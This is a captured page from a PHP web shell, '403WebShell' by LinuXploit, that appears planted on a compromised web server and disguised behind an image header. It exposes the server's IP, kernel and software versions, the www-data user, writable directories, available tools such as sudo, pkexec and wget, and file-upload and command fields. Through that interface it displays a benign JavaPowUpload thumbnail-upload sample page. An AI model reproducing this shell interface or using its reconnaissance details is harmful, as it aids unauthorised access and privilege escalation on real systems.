????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.50.189
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/productionzon/JavaPowUpload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/productionzon/JavaPowUpload/severalthumbnails.html
<!-- saved from url=(0014)about:internet -->
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Several thumbnails example</title>
	<link rel="stylesheet" href="styles.css">
</head>
<body>
Sample: <b>severalthumbnails.html</b>&nbsp;&nbsp;<a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16">&nbsp;Refresh frame</a>&nbsp;&nbsp;<a target="_parent" href="index.htm"><img border="0" src="images/home.png" width="16" height="16">&nbsp;Examples home</a><br/><br/>
Upload several thumbnails from one image. <br>
<br>
Before running this sample you need to replace upload processing script file name at "Upload.UploadUrl" parameter of JavaPowUpload APPLET. Files uploads to the UploadedFiles\ folder at the folder containing script. Script value can be: 
<ul>
  <li>For ASP: <code>FileProcessingScripts/ASP/ClearASP/uploadfiles.asp</code></li>
  <li>For PHP : <code>FileProcessingScripts/PHP/uploadfiles.php</code>&nbsp;<strong>(Default script)</strong></li>
  <li>For ASP.NET (C Sharp): <code>FileProcessingScripts/ASP.NET/CSharp/uploadfiles.aspx</code></li>
  <li>For ASP.NET (VB.NET): <code>FileProcessingScripts/ASP.NET/VBNET/uploadfiles.aspx</code></li>
   <li>For Perl : <code>FileProcessingScripts/PERL/uploadfiles.pl</code></li>
   <li>For Cold Fusion : <code>FileProcessingScripts/ColdFusion/uploadfiles.cfm</code></li>
   <li>For JSP : <code>FileProcessingScripts/JSP/uploadfiles.jsp</code></li>
</ul>

<br>

			
			  <!--lib/JavaPowUpload.jar - main jar file, should always be included
     
	Optional jar files: 
	
	lib/skinlf.jar - for themes support
    lib/commons-compress.jar - compression before upload
	
    lib/commons-httpclient.jar   - http upload functionality
	
	lib/commons-net-ftp.jar - FTP protocol support -->
  <applet 
                code="com.elementit.JavaPowUpload.Manager"
                archive="lib/commons-httpclient.jar,
				lib/JavaPowUpload.jar"
               width="550"
				height="350"
                name="JavaPowUpload"
                id="JavaPowUpload"
                mayscript="true"
                alt="JavaPowUpload by www.element-it.com">
               
              <!-- Java Plug-In Options -->
              <!-- JavaPowUpload parameters -->
              <param name="progressbar" value="false">
              <param name="boxmessage" value="Loading JavaPowUpload Applet ...">
			 <param name="java_arguments" VALUE="-Djava.net.preferIPv4Stack=true"/>
			 
			 <param name="Common.SerialNumber" value="put your serial number here">
			 <!-- Enable upload mode -->
			 <param name="Common.UploadMode" value="true">		
			 <param name="Common.DetailsArea.StartupDeviderLocation" value="0.5">
			
			 <!--    Enable JavaPowUpload events and functions to use in JavaScript -->
			 <param name="Common.UseLiveConnect" value="true">                
			  <!-- Set file view to thumbnails by default -->
			 <param name="Common.DefaultView" value="Thumbnails"> 

			 <!--Enable images preview in browse dialog -->
			 <param name="Upload.BrowseDialog.ImagePreview.Visible" value="true"> 
			 
			 <param name="Upload.Thumbnails.Upload" value="true">
			 <param name="Upload.Thumbnails.Format" value="JPEG">
			 
			 <param name="Upload.Thumbnails.UploadOriginalFile" value="false">
			 <param name="Upload.Thumbnails.IncludeOriginalImageMetadata" value="false">
			 <param name="Common.FileView.Thumbnails.Cell.ShowEditPanel" value="true">
			 
			 <param name="Upload.UploadUrl" value="FileProcessingScripts/PHP/uploadfiles.php">
 <!-- This text will be shown if applet not working or Java not installed-->
 <span style="border:1px  solid #FF0000;display:block;padding:5px;margin-top:10px;margin-bottom:10px;text-align:left; background: #FDF2F2;color:#000;">You should <b>enable applets</b> running at browser and to have the <b>Java</b> (JRE) version &gt;= 1.5.<br />If applet is not displaying properly, please check <a target="_blank" href="http://java.com/en/download/help/testvm.xml" title="Check Java applets">additional configurations</a></span>
            </applet>

</table>
  <script type="text/javascript">
                    var uploadedfilescount = 0;    
                    var Java;
					//dimensions for different thumbnails
					var sizes = new Array();					
					sizes[0] = new Array(120, 120);
					sizes[1] = new Array(300, 300);
					sizes[2] = new Array(500, 500);
					//prefixes for different thumbnails
					var prefixes = new Array("tiny_", "medium_", "large_");
					
                    var currentCycle = 0;
					var cancelled = false;
	
					function MultiPowUpload_onStart()
					{
						cancelled = false;
					} 
					
					function MultiPowUpload_onCancel()
					{
						cancelled = true;
					} 
                                               
                    function JavaPowUpload_onAppletInit()
                    {        
                        Java = document.getElementById("JavaPowUpload");  
						//set initial thumbnails dimensions
						setThumbailDimensions(currentCycle);
                    }
                    
					function setThumbailDimensions(index) 
					{
						if(sizes.length > index)
						{
							Java.setParam("Upload.Thumbnails.Height", sizes[index][0]);
                            Java.setParam("Upload.Thumbnails.Width", sizes[index][1]);
							Java.setParam("Upload.Thumbnails.FilePrefix", prefixes[index]);
						}
					}
                                     
                    function JavaPowUpload_onUploadFinish()
                    {
						//upload finished let's check what we shpould do now
						
						currentCycle++;			
						setThumbailDimensions(currentCycle);						
						if(sizes.length > currentCycle)
						{
							if(!cancelled)
							{
								var list = Java.getFiles();
								for(i=list.size()-1;i>=0;i--)
								{							
									 if(list.get(i).isFile() && list.get(i).getStatus() != 0)
										  list.get(i).setChecked(true);
								}																			
								Java.startUpload();   
							}
						}
						else
						{		
							currentCycle = 0;
							setThumbailDimensions(currentCycle);
						}
                    }
					
					function JavaPowUpload_onServerResponse(status, response)
					{
						//Here we need parse server response
						//and find url to uploaded thumbnails
						//get current file processing script and combine path to file
						var path_to_file = JavaPowUpload.getParam("Upload.UploadUrl");		
						path_to_file = path_to_file.substring(0, path_to_file.lastIndexOf("/")+1) + "UploadedFiles/";
						var keyword = 'File ';
						var keywor_end = " was successfully uploaded";
						var ind = response.indexOf(keyword,0);				
						while(ind>=0)
						{
							url = response.substring(ind+keyword.length, response.indexOf(keywor_end, ind));			
							addThumbnail(path_to_file+url);
							ind = response.indexOf(keyword, ind+keyword.length+1); 
						}			
					}
					
					function addThumbnail(source)
					{
						var Img = document.createElement("img");
						Img.style.margin = "5px";

						Img.src = source+"?"+(new Date()).getTime();;
						
						document.getElementById("thumbnails").appendChild(Img);
					}
                    
                 
                </script>
<br/>
<div id="thumbnails"></div>
The file uploader doesn’t work? See <a target="_blank" href="http://www.element-it.com/OnlineHelpJavaPowUpload/Troubleshooting.html">here</a> what you need for its proper work. 
<br/>
<a href="index.htm">&lt;&lt;Return to the samples list</a>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit